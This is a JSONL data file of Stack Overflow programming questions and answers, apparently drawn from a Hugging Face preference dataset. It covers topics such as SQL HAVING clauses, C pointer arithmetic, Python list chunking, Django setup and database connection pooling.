{"id": "hf_d17fc96645b6", "question": "<p>I have a project where I've been using TDD and unit tests as \"software vises\". In essence I translate the requirements into tests that verify that the code conforms to the requirements. I rarely have to go back and edit the unit tests, which rather is the point: only the \"real\" code should be modified. At the moment, there are 900 unit tests.</p>\n\n<p>Now some requirements have been changed by the gold-owners. Since the former requirements are so thorougly encoded in the existing unit tests, it seems that changing them to conform to the new requirements would be inviting disaster. How do you adapt your unit test suites to handle this kind of change?</p>\n", "question_body": "", "answer": "Per definition the\nunit-tests\ndon't replicate the requirements for the application. They describe the requirements for a module. That's a difference, the module can be reused even in an application with different requirements or isn't used at all. So the changing requirements don't affect real unit-tests (except that you have to write new for new modules or abandon old tests for modules no longer needed for the changed requirements).\nOn the other hand:\nacceptance-tests\ndeal with the requirements on application-level. So I think you talk about acceptance-tests.\nI would add the new requirements as new acceptance-test. But for the old ones you have to look through them, how they are invalidated by the changed requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.079566"}
{"id": "hf_bd0142484657", "question": "<p>I have the following (shortened query):</p>\n\n<pre><code>SELECT \n    `Statistics`.`StatisticID`,\n    COUNT(DISTINCT `Flags`.`FlagType`) AS `FlagCount`\nFROM `Statistics`\nLEFT JOIN `Flags` ON `Statistics`.`StatisticID` = `Flags`.`StatisticID`\nWHERE `FlagCount` = 0\nGROUP BY `Statistics`.`StatisticID`\nORDER BY `SubmittedTime` DESC\nLIMIT 0, 10\n</code></pre>\n\n<p>Now, neither <code>FlagCount = 0</code> or <code>COUNT(Flags.FlagType)</code> work in the <code>WHERE</code> clause. I thought about using a <code>SET</code> but I'm not sure how I'd add that to the query. Any ideas?</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "Use\n```\nHAVING COUNT(DISTINCT Flags.FlagType) = 0\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.102770"}
{"id": "hf_594d231bf278", "question": "<p>I recently read a question on here about static and dynamic linking, which reminded me of some questions I've had about it. From that post, I can see what the technical difference is (including object file contents directly instead of merely pointing to it), but I'd like to know a bit more about the pros/cons of doing so.  </p>\n\n<p>A while ago, a friend of mine who's been programming several years was lamenting that C# isn't statically linked and saying that that was the feature he desired most for a future version. Unfortunately I'm a novice and don't really understand this statement.  </p>\n\n<p>Thanks for any enlightenment! </p>\n", "question_body": "", "answer": "A statically executable contains all the objects that it needs so no external DLL will be called when executed. The advantaje is that is is portable accross a lot of platforms no matter what version of DLLs have been installed on that system. The BIG disadvantage is that you are probable wasting disk space since you are including in your executable code that is already present in system/external DLLs. Moreover I think, but I'm not very sure, that DLLs are loaded in main memory only once, no matter how many executables are using them, but if you link statically the library objects inside your executable you load the same code twice (one for the DLL used by the rest of the programs and one for your executable). On the other hand this could be an advantage instead a disatvadvantage, since the executable contains only the objects of the external libraries that it needs, not the whole library. A DLL is loaded in memory as a whole when an application needs it.\nStatic linking is ideal to compile small apps that you want to carry from one system to another as a small tool. I.e. it was really useful for me to have a statically compiled version of tcpdump when it was not included in every Linux distro. It was bound to work on every Linux no matter what version of Kernel, glibc or other system libraries had. Perhaps it has not so much sense in Windows world since the platforms are much more homogeneus. If you compile for Windows XP / NET vX.X it will work across a lot of computers. If you compile something for Debian X.X it will surely not work on older/newer Debians or other distros such as Redhat.\nThis\nthread\ncan also solve your questions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.129138"}
{"id": "hf_94ae1860b636", "question": "<p>After attending a talk on Oslo/M I am struggling a bit to see the advantages of using it over existing methods and in what situation it would be useful.</p>\n\n<p>I know its quite new and not all details have been released etc but can some one give me some advantages and when you might use it?</p>\n\n<p>Thanks,</p>\n\n<p>Alex</p>\n", "question_body": "", "answer": "This questions seems to have the answer you're looking for:\nWhat is model driven development good for?\nErik Wynne has a nice blog-post on this topic:\nOslo == 42\nHe also links to a post on MSDN, that contains some interesting thoughts:\nWhy do we need Oslo?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.156548"}
{"id": "hf_80ffc0a91544", "question": "<p>I'm not good at programming and my trying to open one of my spreadsheet documents.\nBelow in the basic login im using, I then request a list all my spreadsheet, which is returned in $feed.</p>\n\n<p>And now I'm worried I'm not on the right track with opening a document so I can read and write cells.</p>\n\n<pre><code>&lt;?php\n\nrequire_once '../library/Zend/Loader.php';\nZend_Loader::loadClass('Zend_Gdata_Spreadsheets');\nZend_Loader::loadClass('Zend_Gdata_ClientLogin');\n$user=\"username\";\n$pass=\"user password\";\n\n// login\n$service = Zend_Gdata_Spreadsheets::AUTH_SERVICE_NAME;\n$client = Zend_Gdata_ClientLogin::getHttpClient($user, $pass, $service);\n\n$spreadsheetService = new Zend_Gdata_Spreadsheets($client);\n$feed = $spreadsheetService-&gt;getSpreadsheetFeed();\n\nprint_r ($feed);\n?&gt;\n</code></pre>\n", "question_body": "", "answer": "You're on the right track.  Are you using the information found\nhttp://framework.zend.com/manual/en/zend.gdata.spreadsheets.html\n?\nYour code is getting a spreadsheet feed which lists all the available spreadsheets, which is an important step.  You'll want to follow the link above to get a list-based feed or a cell-based feed.\nThe documentation is pretty good I would recommend just reading through it all(yes it's long).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.191200"}
{"id": "hf_6f255d576f18", "question": "<p>How do I split a list of arbitrary length into equal sized chunks?</p>\n<hr />\n<p><sub>See <a href=\"https://stackoverflow.com/q/434287\">How to iterate over a list in chunks</a> if the data result will be used directly for a loop, and does not need to be stored.</sub></p>\n<p><sub>For the same question with a string input, see <a href=\"https://stackoverflow.com/questions/9475241\">Split string every nth character?</a>. The same techniques generally apply, though there are some variations.</sub></p>\n", "question_body": "", "answer": "Here's a generator that yields evenly-sized chunks:\n```\n```\ndef chunks(lst, n):\n    \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n    for i in range(0, len(lst), n):\n        yield lst[i:i + n]\n```\n```\n```\n```\nimport pprint\npprint.pprint(list(chunks(range(10, 75), 10)))\n[[10, 11, 12, 13, 14, 15, 16, 17, 18, 19],\n [20, 21, 22, 23, 24, 25, 26, 27, 28, 29],\n [30, 31, 32, 33, 34, 35, 36, 37, 38, 39],\n [40, 41, 42, 43, 44, 45, 46, 47, 48, 49],\n [50, 51, 52, 53, 54, 55, 56, 57, 58, 59],\n [60, 61, 62, 63, 64, 65, 66, 67, 68, 69],\n [70, 71, 72, 73, 74]]\n```\n```\nFor Python 2, using\n```\nxrange\n```\ninstead of\n```\nrange\n```\n:\n```\n```\ndef chunks(lst, n):\n    \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n    for i in xrange(0, len(lst), n):\n        yield lst[i:i + n]\n```\n```\nBelow is a list comprehension one-liner. The method above is preferable, though, since using named functions makes code easier to understand. For Python 3:\n```\n```\n[lst[i:i + n] for i in range(0, len(lst), n)]\n```\n```\nFor Python 2:\n```\n```\n[lst[i:i + n] for i in xrange(0, len(lst), n)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.237929"}
{"id": "hf_e95d49fc555f", "question": "<p>I have made a small project in Oracle, by using the oracle forms builder - how do I create an installer (<code>setup.exe</code>) for my project (one that would setup the application on MS Windows?)</p>\n\n<p>Please... help me, and thanks a lot</p>\n", "question_body": "", "answer": "What version of oracle forms are you using?\nIn my last job we used Forms v4.5 (Developer 2000) - and for that version (which is quite old now) the Forms Runtime software had to be installed on the client computers.\nThen, when the user double clicked on an .FMX file the Forms runtime (F45run32.exe) would load and run the form.\nWhich is a long way of saying that for v4.5 you couldn't create a stand alone install.  (That may have changed with future versions)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.277537"}
{"id": "hf_34548dd02b55", "question": "<p>I have a client with a LAMP website serving mostly video. He is currently on one server with all components. He is having some scaling problems. What are some of the techniques that can be used to help.</p>\n\n<p>I used separating out the DB to another server with a GB Ethernet between it and the webserver. Maybe adding more web servers with some load balancing and additional MySQL servers with replication?</p>\n\n<p>Would like some medium, large, super large examples on how to scale if possible.</p>\n\n<p>The video is actually coming as jpg images. Similiar to this website:</p>\n\n<p><a href=\"http://www.webcams.travel/webcam/1170170095\" rel=\"nofollow noreferrer\">http://www.webcams.travel/webcam/1170170095</a></p>\n\n<p>And to add some details. I figure the max visitors per hour would be 1000, and I think would be lucky to have that. Maybe closer to 1000 a day.</p>\n", "question_body": "", "answer": "You need to work out exactly what the problem is - there is no general solution.\nYou need to build a performance test environment with real hardware and something which can simulate lots of clients. This may be quite expensive.\nIf the problem is the database (which it may be) then the solution is often to split it into several databases each holding part of the data.\nBut I wouldn't imagine that any sane person would store video on MySQL - if he is doing that, then a refactoring may be in order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.300902"}
{"id": "hf_48ab102261a2", "question": "<p>Need help narrowing the scope of this Regex to not return records if there is an alphanumeric character preceding the first \"I\"</p>\n\n<pre><code>\"I([ ]{1,2})([a-zA-Z]|\\d){2,13}\"\n</code></pre>\n\n<p>Want to capture I APF From this string, but not the I ARPT. </p>\n\n<pre><code>I APF                     'NAPLES MUNI ARPT.            ' 42894 JEB 29785584 \n</code></pre>\n\n<p>Thanks!          </p>\n", "question_body": "", "answer": "```\n\\b\n```\nrepresents a word boundary in regular expressions, so the following should work (assuming you're happy with the rest of the regex):\n```\n```\n(\"\\bI([ ]{1,2})([a-zA-Z]|\\d){2,13}\")\n```\n```\nA word boundary is defined as the zero-width space between a word character and a non-word character. Depending on your regex engine a word character is likely to be an alphanumeric character or an underscore, so using \\b will match I ALF in\n```\n-I ALF\n```\nbut not in\n```\n_I ALF\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.347347"}
{"id": "hf_97acbcf52030", "question": "<p>I'm adding an existing site to SVN.</p>\n\n<p>The files already exist on the webserver, and now identical copies (- configuration files) exist in the repository.</p>\n\n<p>I want to convert the webserver directory into an SVN working copy, but when I run:</p>\n\n<pre><code>svn checkout http://path.to/svn/repo/httpdocs .\n</code></pre>\n\n<p>I get the error:</p>\n\n<blockquote>\n  <p>svn: Failed to add file '': object of the same name already exists</p>\n</blockquote>\n\n<p>How do I tell SVN to just overwrite those files whose contents are the same?</p>\n", "question_body": "", "answer": "Pull from the repository to a new directory, then rename the old one to\n```\nold_crufty\n```\n, and the new one to\n```\nmy_real_webserver_directory\n```\n, and you're good to go.\nIf your intention is that every single file is in SVN, then this is a good way to test your theory. If your intention is that some files are not in SVN, then use Brian's copy/paste technique.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.374327"}
{"id": "hf_08b35bfbc9db", "question": "<p>I have updated to latest Django version 1.0.2 after uninstalling my old Django version.But now when I run django-admin.py I get the following error. How can I resolve this?</p>\n\n<pre><code>Traceback (most recent call last):\n  File \"C:\\Python25\\Lib\\site-packages\\django\\bin\\django-admin.py\", line 2, in &lt;module&gt;\n    from django.core import management\nImportError: No module named django.core\n</code></pre>\n", "question_body": "", "answer": "You must make sure that django is in your PYTHONPATH.\nTo test, just do a\n```\nimport django\n```\nfrom a python shell. There should be no output:\n```\n```\nActivePython 2.5.1.1 (ActiveState Software Inc.) based on\nPython 2.5.1 (r251:54863, May  1 2007, 17:47:05) [MSC v.1310 32 bit (Intel)] on win32\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import django\n>>>\n```\n```\nIf you installed django via\n```\nsetuptools\n```\n(\n```\neasy_install\n```\n, or with the\n```\nsetup.py\n```\nincluded with django), then check in your\n```\nsite-packages\n```\nif the\n```\n.pth\n```\nfile (\n```\neasy-install.pth\n```\n,\n```\ndjango.pth\n```\n, ...) point to the correct folder.\nHIH.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.431794"}
{"id": "hf_6ad5721dbf11", "question": "<p>I have some XSD-s that define my objects hierarchy. for example math.xsd, base.xsd\nwhile math.xsd is depends on base.xsd. I need to generate classes from those xsd-s.</p>\n\n<p>I've already read about those two tools:\n<a href=\"http://www.bware.biz/CodeXS/CodeXS.asmx\" rel=\"nofollow noreferrer\">CodeXS</a> tool  and  <a href=\"http://www.bware.biz/CodeXS/CodeXS.asmx\" rel=\"nofollow noreferrer\">XSD.exe</a>.\nthe problem with the xsd.exe is that I didn't succeed generating classes from two xsd-s that depends on each other. is there anyone who knows the right parameters for using the xsd.exe for such case?</p>\n\n<p>moreover, I am looking for:\n - more tools\n - comparison between those tools\n - xsd to object using .net 3.5\nThanks.</p>\n", "question_body": "", "answer": "Microsoft: XSDObjectGen - Sample Code Generator 1.4.2.1\nStackoverflow: XSDObjectGen.exe vs XSD.exe", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.455450"}
{"id": "hf_39a562274848", "question": "<p>I am trying to get pylons to debug in Eclipse under Ubuntu.\nSpecifically. I am not sure what to use for the 'Main Module' on the Run configurations dialog.</p>\n\n<p>(<a href=\"https://stackoverflow.com/questions/147650/debug-pylons-application-through-eclipse\">this</a> is a similar question on stackoverflow, but I think it applies to windows as I can't find paster-script.py on my system)</p>\n\n<p>Can anyone help?</p>\n", "question_body": "", "answer": "I've managed to fix this now.\nIn\n```\nWindow>Preferences>Pydev>Interpreter-Python\n```\nremove the python interpreter and reload it (select\n```\nNew\n```\n) after installing pylons.\nIn the Terminal cd into the projects directory. Then type\n```\nsudo python setup.py develop\n```\nNot sure what this does, but it does the trick (if any one wants to fill me in, please do)\nIn\n```\nRun>Open Debug Dialog\n```\nenter the location of paster in\n```\nMain Module\n```\n. For me this is\n```\n/usr/bin/paster\n```\n. Then in the\n```\nArguments\n```\ntab in\n```\nProgram arguments\n```\nenter\n```\nserve /locationOfYourProject/development.ini\n```\nAll set to go.\nIt took a lot of search for me to find out that it does not work if the arguments includes\n```\n--reload\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.548630"}
{"id": "hf_196699505c7c", "question": "<p>My Aim: Sending an email (e.g. support request, error report) out of a C# Windows forms application. I know how do do this technically but here is the catch:</p>\n\n<p>In order to authenticate myself on the mail server (e.g. gmx, yahoo, own website) I need to store the login details inside the application (which runs on the client system). If someone extracts it or sniffs the network traffic he will have access to my email account. Maybe the second threat could be eliminated using a secure connection. However, it is still possible to get the password out of the application regardless if it is obfuscated or not.</p>\n\n<p>So is there are 'secure' concept enabling me to send e-mail messages out of my program, which runs on the client pc without the need to store a password in accessible form and not requirering a special web service?</p>\n", "question_body": "", "answer": "I had such a requirement in the past which we solved by using a web service to post messages.\nIf for example a user wanted to submit a bug report it would be turned into a web service call to our web server and it would then be forwarded accordingly.\nTo answer your question:\nThere is no way you can hide you mail server. If your program can send emails, so can the user with another program. (the same goes for a web service.) What you can do is use an open smtp server (smtp relay) but that is just asking for trouble.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.595476"}
{"id": "hf_c9c19ce2cd1e", "question": "<p>I am creating a Firefox Extension...what would be the javascript to open a URL in the current tab from a menuitem?</p>\n\n<p>e.g. in my overlay.xul file i have the following line:</p>\n\n<pre><code>&lt;menuitem label=\"Visit homepage\" oncommand=\"window.location='http://www.somepage.com'\"/&gt;\n</code></pre>\n\n<p>but in firefox, when i click on the menu item, it opens the URL but it screws up the entire layout of the browser.</p>\n\n<p>What's the correct way to do this?</p>\n", "question_body": "", "answer": "After browsing around, I found that I had to replace the above code with this:\n```\n```\n<menuitem label=\"Visit homepage\" oncommand=\"content.wrappedJSObject.location='http://www.somepage.com'\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.619297"}
{"id": "hf_885d51a89718", "question": "<p>I am not a mathematician. I enjoy a good math puzzle, but I admit my weaknesses whole heartedly. That said, I've always had an interest in Neural Networks, and while I understand them enough to implement them from scratch, I hit a wall when I need to understand any concept that I can only find mathematic proofs for. Where is the programmer's guide to neural networks, using code instead of formula to explain the practical reasonings?</p>\n", "question_body": "", "answer": "Unfortunately, I don't know if there's a good single \"programmers source\" that will give you all of the concepts.  I liked\nNeural and Adaptive Systems: Fundamentals through Simulations\n.\nThe best way to have a \"programmer's understanding\" of neural networks is not so much by examining the code, but in the problem and the correct results.  So, if you don't want to look at math, I recommend you look at a given problem.  For example, consider the XOR problem as an example of why you need non-linear activation functions, look at the number of variables and their possible values for understanding why a neural network needs to be of a certain size and toplogy to be effective, and split your data into train/test regimes and do studies to see why overfitting is dangerous.  Examine the code with the data.\nI also recommend not getting too hung up, but reading further.  Certain practices in feed-forward networks become more clear once you see their generalization in recurrent and constructive neural networks.  I also recommend going wider:  Bayesian networks, fuzzy cognitive maps, SOM, Boltzman machines, simulated annealing, and reinforcement learning all have intuitions.\nDoes this go towards answering your question?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.658137"}
{"id": "hf_d1ec01196003", "question": "<p>I have to give a general note to some huge Java project for which I have but little visibility and I was wondering if there were any guidelines for determining:</p>\n\n<ul>\n<li>what number of classes per package can be considered right, to low, or to high (this project has 3.89 classes per package, which seems a bit too small for me), </li>\n<li>number of methods per class? (this project has 6.54 methods per class...</li>\n<li>number of lines per method? (this project has about 7 lines per method (seems pretty good to me, maybe a bit low))</li>\n</ul>\n\n<p>I should note that this question is only dealing with volumetry. I have a bunch of reports from quality tools (checkstyle, jdepend, cpd, pmd, ncss) that give me more vision about code redundancy, classes usage, bugs, etc.</p>\n", "question_body": "", "answer": "I think stats like that are pretty useless, how does knowing the lines per method show whether its any use to the project or not; i think you should be looking more along the lines of:\nDo your packages encompass like\nclasses?\nDo your classes work as an\nentity on their own?\nDo the methods\nwithin the classes function\ncorrectly and efficiently?\nSurely other than memory usage, it doesn't matter whether the method is large or not? the other thing to look for in very protracted methods is whether the stack trace is going to be bigger than adding that functionality to a parent method.  I'd be wary of measuring a projects success based on the lines of code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.686627"}
{"id": "hf_f4317483f5ba", "question": "<p>I thought that if a c pointer pointing to a char array was incremented then it would point to the next element in that array. But when I tried this I found that I had to increment it twice. Trying the increment using sizeof(char) I found that adding the size of a char was too much so it had to be divided by two. </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(int argc, char * argv[]){\n   char *pi;\n   int i;\n   pi = argv[1];\n   printf(\"%d args.\\n\",argc-1);\n   printf(\"input: \");\n   for(i=0;i&lt;argc-1;i++){\n      printf(\"%c, \",*pi);\n      /*The line below increments pi by 1 char worth of bytes */\n      //pi+=sizeof(pi)/2;\n      /* An alternative to the above line is putting pi++ twice - why? */\n      pi++;\n      pi++;\n   }\n   printf(\"\\n\");\n   return 0;\n}\n</code></pre>\n\n<p>Am I doing something wrong? or am I misunderstanding the method of incrementing pointers?</p>\n", "question_body": "", "answer": "If you have a pointer\n```\nptr\n```\nof type\n```\nT*\n```\nand you add\n```\nN\n```\n, then the pointer will be advanced by\n```\nN * sizeof (*ptr)\n```\nor equivalent\n```\nN * sizeof (T)\n```\nbytes. You simply forgot to dereference\n```\npi\n```\n. So what you got with\n```\nsizeof (pi)\n```\nwas the sizeof of the\n```\nchar*\n```\n, but not the sizeof of a\n```\nchar\n```\n. Your line was equivalent to\n```\npi+=sizeof(char*)/2;\n```\nPointers on your platform are 4 bytes big. Thus in effect you did\n```\npi+=2;\n```\n. Write\n```\npi+=2\n```\nif you want to increment 2 times. Note that\n```\nchar\n```\nhas an sizeof of 1 by definition. You don't need to do\n```\nsizeof (char)\n```\n, it is always 1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.710283"}
{"id": "hf_a49bc963df05", "question": "<pre><code>if __name__=='__main__':\n    parser = OptionParser()\n    parser.add_option(\"-i\", \"--input_file\", \n                    dest=\"input_filename\",\n                      help=\"Read input from FILE\", metavar=\"FILE\")\n\n    (options, args) = parser.parse_args()\n    print options\n</code></pre>\n\n<p>result is</p>\n\n<pre><code>$ python convert.py -i video_*\n{'input_filename': 'video_1.wmv'}\n</code></pre>\n\n<p>there are video_[1-6].wmv in the current folder. \nQuestion is why video_* become video_1.wmv. What i'm doing wrong?</p>\n", "question_body": "", "answer": "Python has nothing to do with this -- it's the shell.\nCall\n```\n```\n$ python convert.py -i 'video_*'\n```\n```\nand it will pass in that wildcard.\nThe other six values were passed in as args, not attached to the\n```\n-i\n```\n, exactly as if you'd run\n```\npython convert.py -i video_1 video_2 video_3 video_4 video_5 video_6\n```\n, and the\n```\n-i\n```\nonly attaches to the immediate next parameter.\nThat said, your best bet might to be just read your input filenames from\n```\nargs\n```\n, rather than using\n```\noptions.input\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.756982"}
{"id": "hf_762afccadbad", "question": "<p>First off, how do I know if my html file is running on localhost in Xampp?\nIs there a tutorial on how to manage files/directories and get that all working under htdocs?\nIs there a good tutorial on how to setup includes?</p>\n\n<p>I want to use \"includes\" in Xampp with my html.\nCan I use both html includes AND php includes?\nDo I have to put shtml?\nCan I use shtml, html, htm, and php includes?\nDo they have to be in an includes directory that is a subdirectory right under htdocs?\nCan I reference includes in some other subdirectory?\nMy site will have over 100 pages, and I am trying to do \"experiments\" with different versions until I am happy. So, I have subdirectories for the various drop down menus. Unfortunately, I don't seem to be able to get this working in xampp.\nHaving trouble getting my javascript menus from Vista Buttons to show up, now that I moved my main directory for my site to the htdocs directory.</p>\n", "question_body": "", "answer": "To answer your first question, can you access\nhttp://localhost/\n? If so, then xampp is running correctly and there is nothing more that you need to do.\nEDIT:\nIf you want to ensure that things are working correctly, place foo.html under /xampp/htdocs and then access it in a browser at\nhttp://localhost/foo.html\n. If you can't get this page then xampp still isn't running correctly.\nIn answer to your second question, all Includes whether in the HTML or within PHP are server side. If you have xampp installed correctly, then you can begin working in PHP immediately and can use the include functions within PHP (please note that even if a page only contains HTML, if you're using PHP it must still have a .php extension).\nIf you would rather use SSI in your .html pages, then\nthis link\nmight provide some help on how to set up and debug SSI in xampp.\nAdditionally, if you are not already doing so I would recommend that you work in Firefox with Firebug installed. Firebug will handle most of your JavaScript debugging needs.\nAs a final note, if you've moved directories and the like, the first thing I would check would be the src attributes on your script tags.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.785430"}
{"id": "hf_76ad4ba71338", "question": "<p>I'm trying to create an algorithm in C# which produces the following output strings:</p>\n\n<pre><code>AAAA\nAAAB\nAAAC\n...and so on...\nZZZX\nZZZY\nZZZZ\n</code></pre>\n\n<p>What is the best way to accomplish this?</p>\n\n<pre><code>public static IEnumerable&lt;string&gt; GetWords()\n{\n    //Perform algorithm\n    yield return word;\n}\n</code></pre>\n", "question_body": "", "answer": "well, if the length is a constant 4, then this would handle it:\n```\n```\npublic static IEnumerable<String> GetWords()\n{\n    for (Char c1 = 'A'; c1 <= 'Z'; c1++)\n    {\n        for (Char c2 = 'A'; c2 <= 'Z'; c2++)\n        {\n            for (Char c3 = 'A'; c3 <= 'Z'; c3++)\n            {\n                for (Char c4 = 'A'; c4 <= 'Z'; c4++)\n                {\n                    yield return \"\" + c1 + c2 + c3 + c4;\n                }\n            }\n        }\n    }\n}\n```\n```\nif the length is a parameter, this recursive solution would handle it:\n```\n```\npublic static IEnumerable<String> GetWords(Int32 length)\n{\n    if (length <= 0)\n        yield break;\n\n    for (Char c = 'A'; c <= 'Z'; c++)\n    {\n        if (length > 1)\n        {\n            foreach (String restWord in GetWords(length - 1))\n                yield return c + restWord;\n        }\n        else\n            yield return \"\" + c;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.855405"}
{"id": "hf_d476ce0c2da2", "question": "<p>I have a winforms application that is doing the following:</p>\n\n<p>on each query:</p>\n\n<ol>\n<li>Db connect</li>\n<li>Db query</li>\n<li>Db disconnect</li>\n</ol>\n\n<p>as we are trying to avoid having to keep the db connection open.  This suffers from performance as we have to connect / disconnect everytime.</p>\n\n<p>What is the idealized model here to have the fastest performance but without having open connection for too long.  Is there a best practice here?</p>\n", "question_body": "", "answer": "The most efficient means is connection pooling, and\nADO.NET does this automatically for you\nas long as you make sure to close your connections. Just wrap your\n```\nSqlConnection\n```\nobjects into\n```\nusing\n```\nstatements, and you won't have to worry about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.901917"}
{"id": "hf_01b610a52f51", "question": "<p>Does anyone have any experience with the triangulated GPS used by the non-3G iPhone?  How does it compare with 3G positioning?  Does the iPhone 3G use triangulation in the event that there is no GPS signal available? Is there anyway to determine the accuracy of the non 3G coordinates? Thanks. </p>\n", "question_body": "", "answer": "I have done a lot of mobile software with a bunch of different devices including 3G iphones and 3G blackberry's and here is what I have found.\nThe blackberry and iPhone GPS is really good when you have clear line of sight and at least 9 satellites present.  In some dense residential or urban areas you might only get 5-6 satellites which can take a while to converge.\nIf you do not have a signal, GSM phones like the iPhone will try and find your position using cell tower signal strength but it is NOT as accurate as GPS... not by a long shot.\nI have heard, though this has not been confirmed that the iPhone also uses some server side machine learning when it can't find a GPS lock meaning that it takes the average all of the cell towers, plus the average of all the users who have used GPS in your area to try and find your best position.  This is sometimes called AGPS or assisted GPS where the GPS information and cell tower strength are used together.\nAlso, the only thing I can think of for finding the accuracy of the non 3G coordinates would be to programmaticly switch providers in your code, or simply go into preferences and turn off 3G and write an application that does some tests.\nThe Pragmatic Programmers have a great\niPhone SDK book\nthat just added a chapter on using the Location API, so that might be a great place to start.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:21.936647"}
